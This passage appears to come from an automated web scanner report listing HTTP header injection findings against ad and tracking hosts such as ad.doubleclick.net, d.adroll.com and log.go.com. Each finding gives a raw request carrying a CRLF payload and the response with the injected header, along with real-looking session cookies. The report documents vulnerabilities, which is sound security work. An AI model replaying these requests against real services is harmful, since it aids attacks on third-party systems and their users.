Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c708f553300004b|1906242/708168/15022|t=1297805141|et=730|cs=v3vpvykb

Response

HTTP/1.1 302 Moved Temporarily
Content-Type: text/html
Content-Length: 36
Location: http://static.2mdn.net/46e58
d12743e2198
/N3175.134426.GOOGLECONTENTNETWO1/B4640114.10;sz=300x250;click=http: //googleads.g.doubleclick.net/aclk
Date: Wed, 23 Feb 2011 21:39:24 GMT
Server: GFE/2.0

<h1>Error 302 Moved Temporarily</h1>

2.5. http://ad.doubleclick.net/adi/N3175.150800.VALUECLICK/B4640114.8 [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://ad.doubleclick.net
Path:   /adi/N3175.150800.VALUECLICK/B4640114.8

Issue detail

The value of REST URL parameter 1 is copied into the Location response header. The payload 54a5f%0d%0aa7eb5c386ab was submitted in the REST URL parameter 1. This caused a response containing an injected HTTP header.

Request

GET /54a5f%0d%0aa7eb5c386ab/N3175.150800.VALUECLICK/B4640114.8;sz=728x90;ord=618286296? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c708f553300004b|1906242/708168/15022|t=1297805141|et=730|cs=v3vpvykb

Response

HTTP/1.1 302 Moved Temporarily
Content-Type: text/html
Content-Length: 36
Location: http://static.2mdn.net/54a5f
a7eb5c386ab
/N3175.150800.VALUECLICK/B4640114.8;sz=728x90;ord=618286296:
Date: Wed, 23 Feb 2011 21:53:31 GMT
Server: GFE/2.0

<h1>Error 302 Moved Temporarily</h1>

2.6. http://ad.doubleclick.net/adi/N6296.8585.TRAFFICMARKETPLACE/B5027088.348 [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://ad.doubleclick.net
Path:   /adi/N6296.8585.TRAFFICMARKETPLACE/B5027088.348

Issue detail

The value of REST URL parameter 1 is copied into the Location response header. The payload 7d1b6%0d%0ae937278b1a4 was submitted in the REST URL parameter 1. This caused a response containing an injected HTTP header.

Request

GET /7d1b6%0d%0ae937278b1a4/N6296.8585.TRAFFICMARKETPLACE/B5027088.348;sz=300x250;click=http://adclick.g.doubleclick.net/aclk?sa=l&ai=B5zgm-31lTcvxAcv1lAfG8bDkBfbMhfIBhtia8hf45pedJwAQARgBIAA4AVCAx-HEBGDJhqOH1KOAEIIBF2NhLXB1Yi00ODA5NDYwNzAyMDE2MDM3oAHOifnyA7IBEHd3dy5rb21vbmV3cy5jb226AQozMDB4MjUwX2FzyAEJ2gEYaHR0cDovL3d3dy5rb21vbmV3cy5jb20vmAL0A8ACAcgC3oPPCOACAOoCK0tPTU9fSG9tZXBhZ2VfSHlwZXJsb2NhbF9BZF9TbG90X0lQXzMwMHgyNTCoAwHoA7wE6AO5KegDpQH1AwAAAET1AzAAgAHgBAE&num=1&sig=AGiWqtwrVt1jASVwF2uSYkvFy5KX9XmTWg&client=ca-pub-4809460702016037&adurl=http%3A%2F%2Fad.trafficmp.com%2Fa%2Fclick%3F_-611797114104433*_3107*lvur_99*uid_115*LsT_3443735*xOr_3247**1bsnn1xr8sjt2___3533310**0_3805*MEn_114**_-862839443;ord=4972427075776531456258795481640? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c708f553300004b|1906242/708168/15022|t=1297805141|et=730|cs=v3vpvykb

Response

HTTP/1.1 302 Moved Temporarily
Content-Type: text/html
Content-Length: 36
Location: http://static.2mdn.net/7d1b6
e937278b1a4
/N6296.8585.TRAFFICMARKETPLACE/B5027088.348;sz=300x250;click=http: //adclick.g.doubleclick.net/aclk
Date: Wed, 23 Feb 2011 21:38:14 GMT
Server: GFE/2.0

<h1>Error 302 Moved Temporarily</h1>

2.7. http://ad.doubleclick.net/adj/KOMO/HOME [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://ad.doubleclick.net
Path:   /adj/KOMO/HOME

Issue detail

The value of REST URL parameter 1 is copied into the Location response header. The payload 114ab%0d%0a56fe5779902 was submitted in the REST URL parameter 1. This caused a response containing an injected HTTP header.

Request

GET /114ab%0d%0a56fe5779902/KOMO/HOME;sz=978x300,978x30;tile=1;ord=3730400381609797.5? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.komonews.com/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c708f553300004b|1906242/708168/15022|t=1297805141|et=730|cs=v3vpvykb

Response

HTTP/1.1 302 Moved Temporarily
Content-Type: text/html
Content-Length: 36
Location: http://static.2mdn.net/114ab
56fe5779902
/KOMO/HOME;sz=978x300,978x30;tile=1;ord=3730400381609797.5:
Date: Wed, 23 Feb 2011 21:47:52 GMT
Server: GFE/2.0

<h1>Error 302 Moved Temporarily</h1>

2.8. http://ad.doubleclick.net/adj/N3175.134426.GOOGLECONTENTNETWO1/B4640114.10 [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://ad.doubleclick.net
Path:   /adj/N3175.134426.GOOGLECONTENTNETWO1/B4640114.10

Issue detail

The value of REST URL parameter 1 is copied into the Location response header. The payload 9a8fc%0d%0a4fd310fcf47 was submitted in the REST URL parameter 1. This caused a response containing an injected HTTP header.

Request

GET /9a8fc%0d%0a4fd310fcf47/N3175.134426.GOOGLECONTENTNETWO1/B4640114.10 HTTP/1.1
Host: ad.doubleclick.net
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: id=c708f553300004b|1906242/708168/15022|t=1297805141|et=730|cs=v3vpvykb;

Response

HTTP/1.1 302 Moved Temporarily
Content-Type: text/html
Content-Length: 36
Location: http://static.2mdn.net/9a8fc
4fd310fcf47
/N3175.134426.GOOGLECONTENTNETWO1/B4640114.10:
Date: Wed, 23 Feb 2011 23:11:27 GMT
Server: GFE/2.0
Connection: close

<h1>Error 302 Moved Temporarily</h1>

2.9. http://ad.doubleclick.net/adj/N3175.150800.VALUECLICK/B4640114.8 [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://ad.doubleclick.net
Path:   /adj/N3175.150800.VALUECLICK/B4640114.8

Issue detail

The value of REST URL parameter 1 is copied into the Location response header. The payload 7913d%0d%0a9b3876ddb61 was submitted in the REST URL parameter 1. This caused a response containing an injected HTTP header.

Request

GET /7913d%0d%0a9b3876ddb61/N3175.150800.VALUECLICK/B4640114.8 HTTP/1.1
Host: ad.doubleclick.net
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: id=c708f553300004b|1906242/708168/15022|t=1297805141|et=730|cs=v3vpvykb;

Response

HTTP/1.1 302 Moved Temporarily
Content-Type: text/html
Content-Length: 36
Location: http://static.2mdn.net/7913d
9b3876ddb61
/N3175.150800.VALUECLICK/B4640114.8:
Date: Wed, 23 Feb 2011 23:11:24 GMT
Server: GFE/2.0
Connection: close

<h1>Error 302 Moved Temporarily</h1>

2.10. http://ad.doubleclick.net/adj/N5271.glammedia.com/B5431193.4 [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://ad.doubleclick.net
Path:   /adj/N5271.glammedia.com/B5431193.4

Issue detail

The value of REST URL parameter 1 is copied into the Location response header. The payload 18fe9%0d%0afdde7ae2b74 was submitted in the REST URL parameter 1. This caused a response containing an injected HTTP header.

Request

GET /18fe9%0d%0afdde7ae2b74/N5271.glammedia.com/B5431193.4;sz=300x250;pc=[TPAS_ID];click=http://www30a2.glam.com/gad/click.act?0396-_urlenc%3D1-_gclickid%3Dgaclk4daf878acfac9-_advid%3D50002316-_adid%3D5000038225-_crid%3D500027662-_aipid%3D201104201815-_ge_%3D1%5E2%5E4d0b2a340212dd6ac8de952f71f0f533-ord%3D8514925059862435-afid%3D444496-dsid%3D444496-sz%3D300x250-zone%3D%2F-sid%3D116391130334874196611-tile%3D2-seq%3D1-tt%3Dj-atf%3D1-url%3D00001b-flg%3D64-u%3Db006215kwup1q1fzsk9%2Cf0f12sa%2Cg10001s-_gclick_gaclk4daf878acfac9;ord=4daf878ace741? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://celebrities.glam.com/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=22fba3001601008d||t=1303072660|et=730|cs=-8oc1u1u

Response

HTTP/1.1 302 Moved Temporarily
Content-Type: text/html
Content-Length: 36
Location: http://static.2mdn.net/18fe9
fdde7ae2b74
/N5271.glammedia.com/B5431193.4;sz=300x250;pc=[TPAS_ID];click=http: //www30a2.glam.com/gad/click.act
Date: Thu, 21 Apr 2011 01:38:23 GMT
Server: GFE/2.0

<h1>Error 302 Moved Temporarily</h1>

2.11. http://ad.doubleclick.net/adj/N5295.Internet.com/B5200652.4 [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://ad.doubleclick.net
Path:   /adj/N5295.Internet.com/B5200652.4

Issue detail

The value of REST URL parameter 1 is copied into the Location response header. The payload 14cab%0d%0aadadb0e98e8 was submitted in the REST URL parameter 1. This caused a response containing an injected HTTP header.

Request

GET /14cab%0d%0aadadb0e98e8/N5295.Internet.com/B5200652.4 HTTP/1.1
Host: ad.doubleclick.net
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: id=c708f553300004b|1906242/708168/15022|t=1297805141|et=730|cs=v3vpvykb;

Response

HTTP/1.1 302 Moved Temporarily
Content-Type: text/html
Content-Length: 36
Location: http://static.2mdn.net/14cab
adadb0e98e8
/N5295.Internet.com/B5200652.4:
Date: Sat, 26 Feb 2011 01:58:24 GMT
Server: GFE/2.0
Connection: close

<h1>Error 302 Moved Temporarily</h1>

2.12. http://ad.doubleclick.net/adj/cm.glam_lifestyle/ [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://ad.doubleclick.net
Path:   /adj/cm.glam_lifestyle/

Issue detail

The value of REST URL parameter 1 is copied into the Location response header. The payload 1d178%0d%0a5974a99533b was submitted in the REST URL parameter 1. This caused a response containing an injected HTTP header.

Request

GET /1d178%0d%0a5974a99533b/cm.glam_lifestyle/;net=cm;u=,cm-42181530_1303349054,11f8f328940989e,ent,ax.40;;cmw=owl;sz=160x600;net=cm;env=ifr;ord1=82789;contx=ent;an=40;dc=w;btg=;ord=1303349053? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://tag.admeld.com/imp/iframe/100/glammedia/160x600/367631667/ac5afe89-dbe3-4a99-9c60-59f4fb495cb9/ce486e34-952b-40f2-86f9-06615005178d?url=http%3A%2F%2Fpoponthepop%2Ecom%2F2011%2F04%2Flindsay%2Dlohan%2Dloses%2Dvictoria%2Dgotti%2Drole%2F&price_floor=&r=1303349053
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=22fba3001601008d||t=1303072660|et=730|cs=-8oc1u1u

Response

HTTP/1.1 302 Moved Temporarily
Content-Type: text/html
Content-Length: 36
Location: http://static.2mdn.net/1d178
5974a99533b
/cm.glam_lifestyle/;net=cm;u=,cm-42181530_1303349054,11f8f328940989e,ent,ax.40;;cmw=owl;sz=160x600;net=cm;env=ifr;ord1=82789;contx=ent;an=40;dc=w;btg=;ord=1303349053:
Date: Thu, 21 Apr 2011 01:30:39 GMT
Server: GFE/2.0

<h1>Error 302 Moved Temporarily</h1>

2.13. http://ad.doubleclick.net/adj/manta.comp/energy_resources [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://ad.doubleclick.net
Path:   /adj/manta.comp/energy_resources

Issue detail

The value of REST URL parameter 1 is copied into the Location response header. The payload 85463%0d%0a72da8b233c1 was submitted in the REST URL parameter 1. This caused a response containing an injected HTTP header.

Request

GET /85463%0d%0a72da8b233c1/manta.comp/energy_resources HTTP/1.1
Host: ad.doubleclick.net
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: id=c708f553300004b|1906242/708168/15022|t=1297805141|et=730|cs=v3vpvykb;

Response

HTTP/1.1 302 Moved Temporarily
Content-Type: text/html
Content-Length: 36
Location: http://static.2mdn.net/85463
72da8b233c1
/manta.comp/energy_resources:
Date: Sat, 26 Feb 2011 01:58:24 GMT
Server: GFE/2.0
Connection: close

<h1>Error 302 Moved Temporarily</h1>

2.14. http://ad.doubleclick.net/dot.gif [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://ad.doubleclick.net
Path:   /dot.gif

Issue detail

The value of REST URL parameter 1 is copied into the Location response header. The payload 79d74%0d%0acd80de9ecdd was submitted in the REST URL parameter 1. This caused a response containing an injected HTTP header.

Request

GET /dot.gif79d74%0d%0acd80de9ecdd?4daf878530074 HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://celebrities.glam.com/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=22fba3001601008d||t=1303072660|et=730|cs=-8oc1u1u

Response

HTTP/1.1 302 Moved Temporarily
Content-Type: text/html
Content-Length: 36
Location: http://static.2mdn.net/dot.gif79d74
cd80de9ecdd
:
Date: Thu, 21 Apr 2011 01:38:11 GMT
Server: GFE/2.0

<h1>Error 302 Moved Temporarily</h1>

2.15. http://ad.doubleclick.net/jump/N3175.150800.VALUECLICK/B4640114.8 [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://ad.doubleclick.net
Path:   /jump/N3175.150800.VALUECLICK/B4640114.8

Issue detail

The value of REST URL parameter 1 is copied into the Location response header. The payload 272ea%0d%0ade140a0ddee was submitted in the REST URL parameter 1. This caused a response containing an injected HTTP header.

Request

GET /272ea%0d%0ade140a0ddee/N3175.150800.VALUECLICK/B4640114.8 HTTP/1.1
Host: ad.doubleclick.net
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: id=c708f553300004b|1906242/708168/15022|t=1297805141|et=730|cs=v3vpvykb;

Response

HTTP/1.1 302 Moved Temporarily
Content-Type: text/html
Content-Length: 36
Location: http://static.2mdn.net/272ea
de140a0ddee
/N3175.150800.VALUECLICK/B4640114.8:
Date: Wed, 23 Feb 2011 23:11:17 GMT
Server: GFE/2.0
Connection: close

<h1>Error 302 Moved Temporarily</h1>

2.16. http://ad.doubleclick.net/jump/N5295.Internet.com/B5200652.6 [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://ad.doubleclick.net
Path:   /jump/N5295.Internet.com/B5200652.6

Issue detail

The value of REST URL parameter 1 is copied into the Location response header. The payload 91854%0d%0aeec45a3397a was submitted in the REST URL parameter 1. This caused a response containing an injected HTTP header.

Request

GET /91854%0d%0aeec45a3397a/N5295.Internet.com/B5200652.6 HTTP/1.1
Host: ad.doubleclick.net
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: id=c708f553300004b|1906242/708168/15022|t=1297805141|et=730|cs=v3vpvykb;

Response

HTTP/1.1 302 Moved Temporarily
Content-Type: text/html
Content-Length: 36
Location: http://static.2mdn.net/91854
eec45a3397a
/N5295.Internet.com/B5200652.6:
Date: Sat, 26 Feb 2011 01:58:25 GMT
Server: GFE/2.0
Connection: close

<h1>Error 302 Moved Temporarily</h1>

2.17. http://cas.clickability.com/t [u parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://cas.clickability.com
Path:   /t

Issue detail

The value of the u request parameter is copied into the Location response header. The payload 87229%0d%0aa9e26f54f1 was submitted in the u parameter. This caused a response containing an injected HTTP header.

Request

GET /t?d=133716&c=3031&n=167742&a=328192&r=1577646587&u=87229%0d%0aa9e26f54f1 HTTP/1.1
Host: cas.clickability.com
Proxy-Connection: keep-alive
Referer: http://www.komonews.com/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 302 Moved Temporarily
Date: Wed, 23 Feb 2011 21:37:54 GMT
Server: Apache
Cache-Control: no-store, no-cache
pragma: no-cache
Expires: 0
Location: http://cas.clickability.com/87229
a9e26f54f1

Content-Length: 0
X-Server-Name: dv-c1-r1-u7-b2
Connection: close
Content-Type: text/plain; charset=UTF-8


2.18. http://d.adroll.com/pixel/FWN5JUPQAJE4XJIM4JEU2F/7QKKZNUYGZBKBKY3PBNPYI [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://d.adroll.com
Path:   /pixel/FWN5JUPQAJE4XJIM4JEU2F/7QKKZNUYGZBKBKY3PBNPYI

Issue detail

The value of REST URL parameter 2 is copied into the Location response header. The payload 3e47d%0d%0a5f457126fc was submitted in the REST URL parameter 2. This caused a response containing an injected HTTP header.

Request

GET /pixel/3e47d%0d%0a5f457126fc/7QKKZNUYGZBKBKY3PBNPYI?pv=73449358646.7579&cookie=& HTTP/1.1
Host: d.adroll.com
Proxy-Connection: keep-alive
Referer: http://www.reputation.com/contact
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 302 Moved Temporarily
Server: nginx/0.7.67
Date: Tue, 19 Apr 2011 01:52:08 GMT
Connection: keep-alive
Set-Cookie: __adroll=9de52dcbec4c3cf1dab71495bd2ad935; Version=1; Expires=Mon, 09 Sep 2013 07:00:00 GMT; Max-Age=432000000; Path=/
Pragma: no-cache
P3P: CP='NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR SAMa IND COM NAV'
Location: http://a.adroll.com/pixel/3e47d
5f457126fc
/7QKKZNUYGZBKBKY3PBNPYI/ADLLSWOYQRDC7DYKK7QWPE.js:
Content-Length: 0
Cache-Control: no-store, no-cache, must-revalidate


2.19. http://d.adroll.com/pixel/FWN5JUPQAJE4XJIM4JEU2F/7QKKZNUYGZBKBKY3PBNPYI [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://d.adroll.com
Path:   /pixel/FWN5JUPQAJE4XJIM4JEU2F/7QKKZNUYGZBKBKY3PBNPYI

Issue detail

The value of REST URL parameter 3 is copied into the Location response header. The payload 832de%0d%0ac0773e65071 was submitted in the REST URL parameter 3. This caused a response containing an injected HTTP header.

Request

GET /pixel/FWN5JUPQAJE4XJIM4JEU2F/832de%0d%0ac0773e65071?pv=73449358646.7579&cookie=& HTTP/1.1
Host: d.adroll.com
Proxy-Connection: keep-alive
Referer: http://www.reputation.com/contact
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 302 Moved Temporarily
Server: nginx/0.7.67
Date: Tue, 19 Apr 2011 01:52:18 GMT
Connection: keep-alive
Set-Cookie: __adroll=9de52dcbec4c3cf1dab71495bd2ad935; Version=1; Expires=Mon, 09 Sep 2013 07:00:00 GMT; Max-Age=432000000; Path=/
Pragma: no-cache
P3P: CP='NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR SAMa IND COM NAV'
Location: http://a.adroll.com/retarget/FWN5JUPQAJE4XJIM4JEU2F/832de
c0773e65071
/pixel.js:
Content-Length: 0
Cache-Control: no-store, no-cache, must-revalidate


2.20. http://int.sitestat.com/comscore/comscore/s [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://int.sitestat.com
Path:   /comscore/comscore/s

Issue detail

The value of REST URL parameter 3 is copied into the Location response header. The payload a0d85%0d%0a378354ac399 was submitted in the REST URL parameter 3. This caused a response containing an injected HTTP header.

Request

GET /comscore/comscore/a0d85%0d%0a378354ac399?name=comScore_default&ns__t=1298695259665&ns_c=UTF-8&ns_ti=Products%20%26%20Services%20-%20comScore%2C%20Inc&ns_jspageurl=http%3A//comscore.com/index.php//Products_Services&ns_referrer=http%3A//comscore.com/ HTTP/1.1
Host: int.sitestat.com
Proxy-Connection: keep-alive
Referer: http://comscore.com/index.php//Products_Services
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 302 Found
Date: Sat, 26 Feb 2011 04:41:14 GMT
Server: Apache
Expires: Sat, 01 Jan 2000 00:00:00 GMT
Pragma: no-cache
Cache-Control: no-cache
P3P: policyref="http://www.nedstat.com/w3c/p3p.xml", CP="NOI DSP COR NID PSA ADM OUR IND NAV COM"
Set-Cookie: s1=4D68846A71FA02FD; expires=Thu, 25-Feb-2016 04:41:14 GMT; path=/comscore/comscore/
Set-Cookie: c1=4D68846A71FA02FE; expires=Thu, 25-Feb-2016 04:41:14 GMT; path=/comscore/
Location: http://int.sitestat.com/comscore/comscore/a0d85
378354ac399
?name=comScore_default&ns_m2=yes&ns_setsiteck=4D68846A71FA02FD&ns_setcorpck=4D68846A71FA02FE&ns__t=1298695259665&ns_c=UTF-8&ns_ti=Products%20%26%20Services%20-%20comScore%2C%20Inc&ns_jspageurl=http%3A//comscore.com/index.php//Products_Services&ns_referrer=http%3A//comscore.com/
Content-Length: 554
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>302 Found</title>
</head><body>
<h1>Found</h1>
<p>The document has moved <a href="http://int.sitestat.com/comscore/comscore/a0d85
...[SNIP]...

2.21. http://log.go.com/log [cp parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://log.go.com
Path:   /log

Issue detail

The value of the cp request parameter is copied into the Location response header. The payload afe57%0d%0aa02328e0a57 was submitted in the cp parameter. This caused a response containing an injected HTTP header.

Request

GET /log?srvc=sz&guid=FC2AD524-5155-48E0-AB89-6D5A39421700&drop=0&addata=3457:65:776740:65&a=1&goto=http://www.espnshop.com/family/index.jsp?categoryId=4471902&cp=afe57%0d%0aa02328e0a57&source=ESPN_TEDINTEGRATOR:DVDS02_09_10 HTTP/1.1
Host: log.go.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: DE2=dXNhO3R4O2RhbGxhczticm9hZGJhbmQ7NTs0OzM7NjIzOzAzMi43ODc7LTA5Ni43OTk7ODQwOzQ0Ozc3OzY7dXM7; DS=c29mdGxheWVyLmNvbTswO3NvZnRsYXllciB0ZWNobm9sb2dpZXMgaW5jLjs=; CRBLM=CBLM-001:; CRBLM_LAST_UPDATE=1298497363; SWID=EEF93A7D-3488-4FA5-8C21-135C0F4819BF;

Response

HTTP/1.1 302 OK
Cache-control: no-store
Pragma: no-cache
Expires: 0
Content-Length: 0
Location: http://www.espnshop.com/family/index.jsp?categoryId=4471902&cp=afe57
a02328e0a57
&source=ESPN_TEDINTEGRATOR:DVDS02_09_10
P3P: CP="ALL ADM DEV PSAi COM NAV OUR OTR STP IND DEM"
Connection: close


2.22. http://log.go.com/log [source parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://log.go.com
Path:   /log

Issue detail

The value of the source request parameter is copied into the Location response header. The payload 64871%0d%0afbf1a44686f was submitted in the source parameter. This caused a response containing an injected HTTP header.

Request

GET /log?srvc=sz&guid=92F96588-1A99-4863-9B75-CE517F79112C&drop=0&addata=3374:65:478847:65&a=1&goto=http://espnshop.com/entry.point?target=Z&source=64871%0d%0afbf1a44686f HTTP/1.1
Host: log.go.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: DE2=dXNhO3R4O2RhbGxhczticm9hZGJhbmQ7NTs0OzM7NjIzOzAzMi43ODc7LTA5Ni43OTk7ODQwOzQ0Ozc3OzY7dXM7; DS=c29mdGxheWVyLmNvbTswO3NvZnRsYXllciB0ZWNobm9sb2dpZXMgaW5jLjs=; CRBLM=CBLM-001:; CRBLM_LAST_UPDATE=1298497363; SWID=EEF93A7D-3488-4FA5-8C21-135C0F4819BF;

Response

HTTP/1.1 302 OK
Cache-control: no-store
Pragma: no-cache
Expires: 0
Content-Length: 0
Location: http://espnshop.com/entry.point?target=Z&source=64871
fbf1a44686f

P3P: CP="ALL ADM DEV PSAi COM NAV OUR OTR STP IND DEM"
Connection: close


2.23. http://o1.qnsr.com/cgi/c [a parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://o1.qnsr.com
Path:   /cgi/c

Issue detail

The value of the a request parameter is copied into the Location response header. The payload 441d9%0d%0ab396da36437 was submitted in the a parameter. This caused a response containing an injected HTTP header.

Request

GET /cgi/c?a=20144456%3Bx=2305%3Bg=0,0%3Bc=203687985,203687985%3Bi=0%3Bn=203%3Bs=9542%3Be%3Di%3Bs%3D9542%3Bg%3D172%3Bw%3D56%3Bm%3D0%3Bz%3D6498010861%3Bk%3Dhttp://t.atdmt.com441d9%0d%0ab396da36437 HTTP/1.1
Host: o1.qnsr.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 302 Found
Date: Sat, 26 Feb 2011 02:12:26 GMT
Server: QUAD 3G
Set-Cookie: QIDA=TWhhigqABU0AAFE6SAc; domain=.qnsr.com; path=/; expires=Tue, 23-Feb-21 02:12:26 GMT
Connection: close
Pragma: no-cache
Cache-Control: private, max-age=0, no-cache
Location: http://t.atdmt.com441d9
b396da36437
?&CCID=20144456203687985&QTR=ZZf0Za20144456Zb0Zg172Zw56Zm0Zc203687985,203687985Zs9542ZZ&CLK=524110225181226259&&exp=y
Content-Type: text/html; charset=iso-8859-1
Content-Length: 417

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<HTML><HEAD>
<TITLE>302 Found</TITLE>
</HEAD><BODY>
<H1>Found</H1>
The document has moved <A HREF="http://t.atdmt.com441d9
b396da36437?&amp;CCID=201
...[SNIP]...

2.24. http://o1.qnsr.com/cgi/c [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://o1.qnsr.com
Path:   /cgi/c

Issue detail

The name of an arbitrarily supplied request parameter is copied into the Location response header. The payload 91f69%0d%0a40968b429be was submitted in the name of an arbitrarily supplied request parameter. This caused a response containing an injected HTTP header.

Request

